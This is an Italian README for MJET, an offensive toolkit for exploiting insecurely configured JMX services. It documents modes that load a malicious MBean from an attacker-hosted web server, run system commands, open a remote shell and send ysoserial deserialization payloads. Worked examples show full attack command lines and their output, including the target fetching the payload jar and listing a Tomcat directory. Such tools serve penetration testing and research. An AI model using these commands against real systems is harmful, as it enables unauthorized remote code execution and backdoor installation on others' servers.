MJET di MOGWAI LABS

MOGWAI LABS JMX Exploitation Toolkit

MJET è un fork di sjet, sviluppato da siberas ma non più mantenuto attivamente. MJET è mantenuto dal team di MOGWAI LABS, che ha anche fornito la maggior parte del codice originale di sjet.

MJET consente di sfruttare facilmente servizi JMX configurati in modo insicuro. Ulteriori informazioni di base sono disponibili qui e qui.

!!! Importante: questo progetto non è più mantenuto

Questo repository non è più mantenuto attivamente. Ti consigliamo invece di usare qtcs beanshooter.

Prerequisiti

Jython 2.7
Ysoserial (per sfruttare le vulnerabilità di deserializzazione tramite JMX)
opendmk_jmxremote_optional_jar-1.0-b01-ea.jar (per supportare il protocollo alternativo JMX Message Protocol (JMXMP))

Utilizzo

MJET implementa un'interfaccia CLI (usando argparse):

jython mjet.py targetHost targetPort MODE password (modeOptions)

Dove

targetHost - l'indirizzo IP del target
targetPort - la porta del target su cui è in esecuzione JMX
MODE - la modalità dello script
modeOptions - le opzioni per la modalità selezionata

Supporto all'autenticazione (se l'autenticazione JMX è abilitata):

--jmxrole - il nome utente
--jmxpassword - la password

Altri argomenti opzionali:

--jmxmp - Usa JMX-MP (richiede il caricamento di un JAR aggiuntivo)
--localhost_bypass - porta di servizio per il proxy nel bypass di localhost
--shell - Usa la shell definita
--rmiObjectName - nome RMI dell'endpoint JMX

Modalità e modeOptions

install - installa il payload nel target corrente
- password - la password da impostare dopo un'installazione riuscita
- payload_url - URL completo per caricare il payload
- payload_port - porta per caricare il payload
uninstall - disinstalla il payload dal target corrente
changepw - cambia la password su un payload già distribuito
- password - la password per accedere all'MBean installato
- newpass - La nuova password
command - esegue il comando CMD nel targetHost
- password - la password per accedere all'MBean installato
- CMD - il comando da eseguire
shell - avvia una semplice shell nel targetHost (con le limitazioni di Runtime.exec() di Java)
- password - la password per accedere all'MBean installato
javascript - esegue un file javascript FILENAME nel targetHost
- password - la password per accedere all'MBean installato
- FILENAME - il javascript da eseguire
deserialize - invia un payload ysoserial al target
- gadget - gadget come fornito da ysoserial, es. CommonsCollections6
- cmd - comando da eseguire
webserver - esegue semplicemente il web server MLET
- payload_url - URL completo per caricare il payload
- payload_port - porta per caricare il payload

Esempi

Installazione dell'MBean del payload su un servizio JMX vulnerabile

Nell'esempio seguente, il servizio JMX vulnerabile è in esecuzione su 10.165.188.23 porta 2222 e l'attaccante ha l'indirizzo IP 10.165.188.1. Il servizio JMX si collegherà al servizio web dell'attaccante per scaricare il file jar del payload. MJET avvierà il servizio web necessario sulla porta 8000.

Dopo l'installazione riuscita dell'MBean, la password predefinita viene cambiata con la password fornita dalla riga di comando ("super_secret").

h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
h0ng10@rocksteady ~/w/mjet>

Installazione con credenziali JMX (richiede anche una configurazione debole del server):

h0ng10@rocksteady:~/mjet$ jython mjet.py 192.168.11.136 9991 install super_secret http://192.168.11.132:8000 8000 --jmxrole JMXUSER --jmxpassword JMXPASSWORD
mJET - MOGWAI LABS JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Using credentials: JMXUSER / JMXPASSWORD
[+] Connected: rmi://192.168.11.132  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /mogwailabs_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.mlet.MogwaiLabsPayload
[+] Successfully changed password

h0ng10@rocksteady:~/mjet$

Esecuzione del comando 'ls -la' su un target Linux:

Dopo che il payload è stato installato, possiamo usarlo per eseguire comandi di sistema sul target.

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
h0ng10@rocksteady ~/w/mjet>

Esecuzione in modalità shell

Se non vuoi caricare Java per ogni comando, puoi usare la "modalità shell" per ottenere una shell di comando limitata.

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 shell super_secret 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  5
[+] Use command 'exit_shell' to exit the shell
>>> ls -la
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


>>> pwd
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: pwd
/var/lib/tomcat8

mjet

Più Popolari